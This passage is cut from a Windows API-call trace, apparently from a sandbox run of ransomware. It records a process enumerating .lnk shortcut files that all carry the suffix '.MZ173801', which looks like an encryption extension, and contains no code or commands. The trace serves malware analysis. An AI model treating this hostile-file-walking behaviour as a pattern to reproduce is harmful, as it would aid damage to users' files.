lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.612] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfa6a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xddfa6a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x9984bb20, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x19cc, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="p0NG4l.lnk.MZ173801", cAlternateFileName="P0NG4L~1.MZ1")) returned 1 [0122.612] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.612] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.613] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfccb60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xddfccb60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99871c80, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="P7HO- 5Ty8zEz.lnk.MZ173801", cAlternateFileName="P7HO-5~1.MZ1")) returned 1 [0122.613] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.613] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.613] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdebffc20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdebffc20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99897de0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa73, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="P9h2q9pkA0FWYXgRW7.lnk.MZ173801", cAlternateFileName="P9H2Q9~1.MZ1")) returned 1 [0122.613] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.613] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.613] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1bbd40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde1bbd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99897de0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x252, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="pVjAn4Y7HQcGd.mkv.lnk.MZ173801", cAlternateFileName="PVJAN4~1.MZ1")) returned 1 [0122.613] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.613] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.613] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf2d7b60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf2d7b60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x9990a200, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Q0fnnBm9W_.lnk.MZ173801", cAlternateFileName="Q0FNNB~1.MZ1")) returned 1 [0122.613] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.613] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.613] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb06700, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb06700, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99930360, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xaa5, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="q2_Y1QkDxrE4OwSA-7I8.lnk.MZ173801", cAlternateFileName="Q2_Y1Q~1.MZ1")) returned 1 [0122.613] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.613] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.613] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa942e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa942e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x999564c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x99d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="qAfaU.flv.lnk.MZ173801", cAlternateFileName="QAFAUF~1.MZ1")) returned 1 [0122.613] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.613] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.613] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdebb3960, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdebb3960, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x999564c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x406, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="qWEtUErXYGmQCk.lnk.MZ173801", cAlternateFileName="QWETUE~1.MZ1")) returned 1 [0122.615] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.615] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.615] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf408660, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf408660, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x9997c620, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1489, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="r4EiWwT6VDJ2aw279a.lnk.MZ173801", cAlternateFileName="R4EIWW~1.MZ1")) returned 1 [0122.615] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.615] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.616] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf513000, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf513000, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x999a2780, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x19db, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="RheIPXfIwRK.lnk.MZ173801", cAlternateFileName="RHEIPX~1.MZ1")) returned 1 [0122.616] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.616] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.616] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf513000, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf513000, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x999c88e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa30, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="rMyIOEW6k4wYJ1YGsx.mkv.lnk.MZ173801", cAlternateFileName="RMYIOE~1.MZ1")) returned 1 [0122.616] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.616] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.616] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd967040, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfd1ba40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x999eea40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Roaming.lnk.MZ173801", cAlternateFileName="ROAMIN~1.MZ1")) returned 1 [0122.616] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.616] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.616] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf23f5e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf23f5e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99a14ba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="rz0vcqroRT.lnk.MZ173801", cAlternateFileName="RZ0VCQ~1.MZ1")) returned 1 [0122.616] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.616] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.616] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf61d9a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf61d9a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99a3ad00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x144e, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="s ysimh vPvf.lnk.MZ173801", cAlternateFileName="SYSIMH~1.MZ1")) returned 1 [0122.616] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.616] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.616] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4c6d40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf4c6d40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99a60e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1490, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="SbP7KV5gI4SzAi7Xlom.lnk.MZ173801", cAlternateFileName="SBP7KV~1.MZ1")) returned 1 [0122.616] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.616] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.616] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7c08c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf7c08c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99a60e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="sH-vD-yiiJWK0oHfML.lnk.MZ173801", cAlternateFileName="SH-VD-~1.MZ1")) returned 1 [0122.616] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.616] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.616] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdda4b880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdda4b880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99a86fc0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xedf, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="soKgPrwly.lnk.MZ173801", cAlternateFileName="SOKGPR~1.MZ1")) returned 1 [0122.616] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.616] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.616] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf3e2500, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf3e2500, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99ad3280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xec6, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="SxW_.lnk.MZ173801", cAlternateFileName="SXW_LN~1.MZ1")) returned 1 [0122.616] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.617] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.617] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9d5c00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9d5c00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99ad3280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="tT3q4FRq.lnk.MZ173801", cAlternateFileName="TT3Q4F~1.MZ1")) returned 1 [0122.617] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.617] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.617] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf832ce0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf832ce0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99af93e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x2079, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="tvrcQYtyJuP8g.ots.lnk.MZ173801", cAlternateFileName="TVRCQY~1.MZ1")) returned 1 [0122.617] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.617] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.617] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdda4b880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf728340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99af93e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="U0EOoc3x-.lnk.MZ173801", cAlternateFileName="U0EOOC~1.MZ1")) returned 1 [0122.617] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.617] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.617] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8dff40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde8dff40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99b456a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x13bd, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="UeE7MtfOi.lnk.MZ173801", cAlternateFileName="UEE7MT~1.MZ1")) returned 1 [0122.617] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.617] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.617] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf2b1a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf2b1a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99b6b800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x9f1, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="UgL4-.lnk.MZ173801", cAlternateFileName="UGL4-L~1.MZ1")) returned 1 [0122.617] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.617] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.617] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee14f60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee14f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99b91960, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3cd, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="UUhFJl.mkv.lnk.MZ173801", cAlternateFileName="UUHFJL~1.MZ1")) returned 1 [0122.617] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.617] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.617] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf539160, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf539160, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99b91960, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Vl wwF.lnk.MZ173801", cAlternateFileName="VLWWFL~1.MZ1")) returned 1 [0122.617] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.617] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.617] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1cd1c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf1cd1c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99bddc20, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa37, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="vq7ZCx5KHQ.lnk.MZ173801", cAlternateFileName="VQ7ZCX~1.MZ1")) returned 1 [0122.617] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.617] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.617] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddb56220, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf454920, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99c03d80, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xe67, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="VS9E98FuPzAd.lnk.MZ173801", cAlternateFileName="VS9E98~1.MZ1")) returned 1 [0122.618] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.618] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.618] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf93d680, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf93d680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99c29ee0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xeab, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="vy7emGl6.flv.lnk.MZ173801", cAlternateFileName="VY7EMG~1.MZ1")) returned 1 [0122.618] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.618] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.618] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4a0be0, 